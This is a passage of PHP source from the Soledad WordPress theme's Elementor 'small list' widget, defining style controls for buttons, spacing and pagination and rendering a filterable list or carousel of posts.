			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bdcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbdcolor', array(
			'label'     => __( 'Hover Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'border-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_responsive_control( 'cat_space', array(
			'label'     => __( 'Categories Margin Bottom', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .pcsl-content .cat' => 'margin-bottom: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'meta_space', array(
			'label'     => __( 'Post Meta Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .grid-post-box-meta' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'excerpt_space', array(
			'label'     => __( 'Post Excerpt Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-pexcerpt' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'rm_space', array(
			'label'     => __( 'Read More Button Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => array( 'show_readmore' => 'yes' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-readmore' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'pagi_design', array(
			'label'     => __( 'Page Navigation', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => array(
				'paging!' => 'none',
				'type!'   => 'crs',
			),
		) );

		$this->add_responsive_control( 'pagi_mwidth', array(
			'label'      => __( 'Load More Posts Button Max Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'condition'  => array(
				'paging' => array( 'loadmore', 'scroll' ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'max-width: {{SIZE}}{{UNIT}};',
			),
		) );

		$this->add_control( 'pagi_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'pagi_hcolor', array(
			'label'     => __( 'Text Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hcolor', array(
			'label'     => __( 'Borders Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hbgcolor', array(
			'label'     => __( 'Hover & Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'bgpagi_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-pagination a, {{WRAPPER}} .penci-pagination span.current',
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->end_controls_section();

		$this->register_penci_bookmark_style_groups();
		$this->register_paywall_premium_heading_style_groups();
		$this->register_block_heading_link_section_style();
		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings             = $this->get_settings();
		$type                 = $settings['type'] ? $settings['type'] : '';
		$dformat              = $settings['dformat'] ? $settings['dformat'] : '';
		$date_pos             = $settings['date_pos'] ? $settings['date_pos'] : 'left';
		$column               = $settings['column'] ? $settings['column'] : '3';
		$tab_column           = $settings['tab_column'] ? $settings['tab_column'] : '2';
		$mb_column            = $settings['mb_column'] ? $settings['mb_column'] : '1';
		$imgpos               = $settings['imgpos'] ? $settings['imgpos'] : 'left';
		$thumb_size_imgtop    = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
		if( get_theme_mod('penci_featured_image_size') == 'vertical' ){
			$thumb_size_imgtop = 'penci-thumb-vertical';
		} else if( get_theme_mod('penci_featured_image_size') == 'square' ){
			$thumb_size_imgtop = 'penci-thumb-square';
		}
		$thumb_size           = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
		$mthumb_size          = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
		$post_meta            = $settings['post_meta'] ? $settings['post_meta'] : array();
		$primary_cat          = $settings['primary_cat'] ? $settings['primary_cat'] : '';
		$title_length         = $settings['title_length'] ? $settings['title_length'] : '';
		$excerpt_pos          = $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below';
		$paging               = $settings['paging'] ? $settings['paging'] : 'none';
		$paging_align         = $settings['paging_align'] ? $settings['paging_align'] : 'align-center';
		$archive_buider_check = $settings['posts_post_type'];
		if ( 'top' == $imgpos ) {
			$excerpt_pos = 'side';
		}
		$rmstyle        = $settings['rmstyle'] ? $settings['rmstyle'] : 'filled';
		$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 15;

		$thumbnail = $thumb_size;
		if ( penci_is_mobile() ) {
			$thumbnail = $mthumb_size;
		}

		$inner_wrapper_class = 'pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-' . $type;
		$item_class          = 'normal-item';
		if ( 'crs' == $type ) {
			$inner_wrapper_class .= ' penci-owl-carousel swiper penci-owl-carousel-slider';
			$item_class          = 'swiper-slide';
		}
		if ( isset( $settings['paywall_heading_text_style'] ) ) {
			$inner_wrapper_class .= ' pencipw-hd-' . $settings['paywall_heading_text_style'];
		}
		if ( 'nlist' == $type ) {
			$column     = '1';
			$tab_column = '1';
			$mb_column  = '1';
			if ( in_array( 'date', $post_meta ) ) {
				$inner_wrapper_class .= ' pcsl-hdate';
			}
		}
		$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
		$inner_wrapper_class .= ' pcsl-col-' . $column;
		$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
		$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
		if ( 'yes' == $settings['nocrop'] ) {
			$inner_wrapper_class .= ' pcsl-nocrop';
		}
		if ( 'yes' == $settings['hide_cat_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-cat-mhide';
		}
		if ( 'yes' == $settings['hide_meta_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-meta-mhide';
		}
		if ( 'yes' == $settings['hide_excerpt_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-excerpt-mhide';
		}
		if ( 'yes' == $settings['hide_rm_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-rm-mhide';
		}
		if ( 'yes' == $settings['imgtop_mobile'] && in_array( $imgpos, array( 'left', 'right' ) ) ) {
			$inner_wrapper_class .= ' pcsl-imgtopmobile';
		}
		if ( 'yes' == $settings['ver_border'] ) {
			$inner_wrapper_class .= ' pcsl-verbd';
		}

		$data_slider = '';
		if ( 'crs' == $type ) {
			$data_slider .= $settings['showdots'] ? ' data-dots="true"' : '';
			$data_slider .= $settings['shownav'] ? ' data-nav="true"' : '';
			$data_slider .= ! $settings['loop'] ? ' data-loop="true"' : '';
			$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
			$data_slider .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
			$data_slider .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

			$data_slider .= ' data-item="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '"';
			$data_slider .= ' data-desktop="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '" ';
			$data_slider .= ' data-tablet="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-tabsmall="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-mobile="' . ( isset( $settings['mb_column'] ) && $settings['mb_column'] ? $settings['mb_column'] : '1' ) . '"';
			$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';

		}

		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		$args          = Query_Control::get_query_args( 'posts', $settings );
		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$args['posts_per_page'] = $ppp;
			}
			if ( $settings['arposts_new'] == 'yes' ) {
				$args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$args['offset'] = $offset;
			}
		}

		if ( 'numbers' == $paging ) {
			$paged_get = 'paged';
			if (is_front_page() && !is_home()):
				$paged_get = 'page';
			endif;
			$paged  = ( get_query_var( $paged_get ) ) ? get_query_var( $paged_get ) : 1;
			$args['paged'] = $paged;
		}
		
		$query_smalllist = new \WP_Query( $args );

		$block_id = 'pcblock_' . rand( 0, 9999 );

		$settings['blockid'] = $block_id;

		add_action( 'penci_block_title_extra_' . $block_id, function () use ( $settings, $args, $query_smalllist ) {
			$link_group_cats       = $settings['biggrid_ajaxfilter_cat'];
			$link_group_tags       = $settings['biggrid_ajaxfilter_tag'];
			$link_group_author     = $settings['biggrid_ajaxfilter_author'];
			$link_group_out        = $link_group_out_before = $link_group_out_after = '';
			$link_group_out_before .= '<nav data-ppp="' . $settings['posts_per_page'] . '" data-blockid="' . $settings['blockid'] . '" data-query_type="ajaxtab" data-more="' . esc_attr( $settings['group_more_link_text'] ) . '" class="pcnav-lgroup"><ul class="pcflx">';
			$link_group_out_after  = '</ul></nav>';
			$has_link              = false;

			if ( is_array( $link_group_cats ) ) {
				$has_link = true;
				foreach ( $link_group_cats as $link_cat ) {
					$element_id = 'link-wrapper-cat-' . $link_cat;
					$this->add_render_attribute( $element_id, 'href', '#' );
					if ( $link_cat ) {
						$this->add_render_attribute( $element_id, 'data-cat', $link_cat );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'cat-link-' . $link_cat ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_term_field( 'name', $link_cat ) . '</a></li>';
				}
			}

			if ( is_array( $link_group_tags ) ) {
				$has_link = true;
				foreach ( $link_group_tags as $link_tag ) {
					$element_id = 'link-wrapper-tag-' . $link_tag;
					$this->add_render_attribute( $element_id, 'href', '#' );
					if ( $link_tag ) {
						$this->add_render_attribute( $element_id, 'data-tag', $link_tag );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'tag-link-' . $link_tag ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_term_field( 'name', $link_tag ) . '</a></li>';
				}
			}

			if ( is_array( $link_group_author ) ) {
				$has_link = true;
				foreach ( $link_group_author as $author ) {
					$element_id = 'link-wrapper-author-' . $author;
					$this->add_render_attribute( $element_id, 'href', '#' );
					if ( $author ) {
						$this->add_render_attribute( $element_id, 'data-author', '#' );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'author-link-' . $author ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_the_author_meta( 'nicename', $author ) . '</a></li>';
				}
			}


			if ( 'nextprev' == $settings['paging'] ) {
				$link_group_out .= '</ul><ul class="pcflx-nav">';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#" aria-label="Previous"><i class="penciicon-left-chevron"></i></a></li>';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#" aria-label="Next"><i class="penciicon-right-chevron"></i></a></li>';
			}

			if ( $link_group_out ) {
				$first_class = $has_link ? 'visible' : 'hidden-item';
				$df_datamax  = '';
				if ( 'nextprev' == $settings['paging'] ) {
					$df_datamax = 'data-maxp="' . $query_smalllist->max_num_pages . '" ';
				}
				$link_group_out_before .= '<li class="all ' . $first_class . '"><a ' . $df_datamax . 'data-paged="1" class="pc-ajaxfil-link current-item" data-id="default" href="#" aria-label="Paged">' . $settings['group_more_defaultab_text'] . '</a></li>';

				wp_enqueue_script( 'penci_ajax_filter_slist' );
				echo $link_group_out_before . $link_group_out . $link_group_out_after;
			}
		} );

		if ( 'none' !== 'paging' ) {
			$ajax_data          = $this->get_setting_attr( $settings );
			$ajax_data['query'] = $args;
			\Soledad_VC_Shortcodes::get_block_script( $settings['blockid'], $ajax_data );
		}

		?>
        <div class="penci-wrapper-smalllist">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<?php
			if ( ! $query_smalllist->have_posts() ) {
				echo $this->show_missing_settings( 'Small List', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
			}

			?>
            <div class="penci-smalllist-wrapper">
				<?php
				if ( $query_smalllist->have_posts() ) {
					?>
                    <div class="penci-smalllist pcsl-wrapper pwsl-id-default">
                        <div class="<?php echo $inner_wrapper_class; ?>"<?php echo $data_slider; ?>>
							<?php if ( 'crs' == $type ) : ?>
                            <div class="swiper-wrapper">
								<?php endif; ?>
								<?php while ( $query_smalllist->have_posts() ) : $query_smalllist->the_post(); ?>
									<?php if ( 'crs' == $type ) : ?>
                            		<div class="swiper-slide">
									<?php endif; ?>
                                    <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
										echo ' pcsl-nothumb';
									}?>">
                                        <div class="pcsl-itemin">
                                            <div class="pcsl-iteminer">
												<?php if ( in_array( 'date', $post_meta ) && 'nlist' == $type ) { ?>
                                                    <div class="pcsl-date pcsl-dpos-<?php echo $date_pos; ?>">
                                                        <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
                                                    </div>
												<?php } ?>

												<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                                                    <div class="pcsl-thumb">
														<?php
														do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
														/* Display Review Piechart  */
														if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
															penci_display_piechart_review_html( get_the_ID(), 'small' );
														}
														?>
														<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
															<?php if ( has_post_format( 'video' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'audio' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'link' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'quote' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
															<?php endif; ?>
														<?php endif; ?>
                                                            <a <?php echo penci_layout_bg(penci_get_featured_image_size( get_the_ID(), $thumbnail ),'yes' != $settings['disable_lazy']);?> href="<?php the_permalink(); ?>"
                                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                               class="<?php echo penci_layout_bg_class('yes' != $settings['disable_lazy']);?> penci-image-holder"<?php if ( 'yes' == $settings['nocrop'] ) {
																echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
															} ?>>
	                                                            <?php echo penci_layout_img(penci_get_featured_image_size( get_the_ID(), $thumbnail ),get_the_title(),'yes' != $settings['disable_lazy']);?>
                                                            </a>

                                                    </div>
												<?php } ?>
                                                <div class="pcsl-content">
													<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                        <div class="cat pcsl-cat">
															<?php penci_category( '', $primary_cat ); ?>
                                                        </div>
													<?php endif; ?>

													<?php if ( in_array( 'title', $post_meta ) ) : ?>
                                                        <div class="pcsl-title">
                                                            <a href="<?php the_permalink(); ?>"<?php if ( $title_length ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>><?php
	                                                            
                                                                if ( ! $title_length ) {
																	the_title();
																} else {
																	echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
																} ?></a>
                                                        </div>
													<?php endif; ?>

													<?php if ( $settings['cspost_enable'] || ( count( array_intersect( array(
																'author',
																'date',
																'comment',
																'views',
																'reading'
															), $post_meta ) ) > 0 && 'nlist' != $type ) || ( count( array_intersect( array(
																'author',
																'comment',
																'views',
																'reading'
															), $post_meta ) ) > 0 && 'nlist' == $type ) ) { ?>
                                                        <div class="grid-post-box-meta pcsl-meta">
															<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                                <span class="sl-date-author author-italic">
													<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
																		penci_coauthors_posts_links();
																	else: ?>
                                                                        <a class="author-url url fn n"
                                                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
																	<?php endif; ?>
													</span>
															<?php endif; ?>
															<?php if ( in_array( 'date', $post_meta ) && 'nlist' != $type ) : ?>
                                                                <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
															<?php endif; ?>
															<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                                <span class="sl-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
															<?php endif; ?>
															<?php
															if ( in_array( 'views', $post_meta ) ) {
																echo '<span class="sl-views">';
																echo penci_get_post_views( get_the_ID() );
																echo ' ' . penci_get_setting( 'penci_trans_countviews' );
																echo '</span>';
															}
															?>
															<?php
															$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
															if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                                <span class="sl-readtime"><?php penci_reading_time(); ?></span>
															<?php endif; ?>
															<?php echo penci_show_custom_meta_fields( [
																'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
																'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
																'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
																'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
																'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
															] ); ?>
															<?php do_action( 'penci_extra_meta' ); ?>
                                                        </div>
													<?php } ?>

													<?php if ( 'yes' == $settings['show_excerpt'] && 'side' == $excerpt_pos ) { ?>
                                                        <div class="pcbg-pexcerpt pcsl-pexcerpt">
															<?php penci_the_excerpt( $excerpt_length ); ?>
                                                        </div>
													<?php } ?>
													<?php if ( 'yes' == $settings['show_readmore'] && 'side' == $excerpt_pos ) { ?>
                                                        <div class="pcsl-readmore">
                                                            <a href="<?php the_permalink(); ?>"
                                                               class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                            </a>
                                                        </div>
													<?php } ?>

                                                </div>

												<?php if ( ( 'yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore'] ) && 'below' == $excerpt_pos ) { ?>
                                                    <div class="pcsl-flex-full">
														<?php if ( 'yes' == $settings['show_excerpt'] ) { ?>
                                                            <div class="pcbg-pexcerpt pcsl-pexcerpt">
																<?php penci_the_excerpt( $excerpt_length ); ?>
                                                            </div>
														<?php } ?>
														<?php if ( 'yes' == $settings['show_readmore'] ) { ?>
                                                            <div class="pcsl-readmore">
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																	<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                                </a>
                                                            </div>
														<?php } ?>
                                                    </div>
												<?php } ?>
                                            </div>
                                        </div>
                                    </div>
                                <?php if ( 'crs' == $type ) : ?>
                            		</div>
								<?php endif; ?>
								<?php endwhile; ?>
								<?php if ( 'crs' == $type ) : ?>
                            </div>
						<?php endif; ?>
                        </div>

						<?php
						if ( 'loadmore' == $paging || 'scroll' == $paging ) {
							$data_settings          = array();
							$data_settings['query'] = $args;
							$data_paged             = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

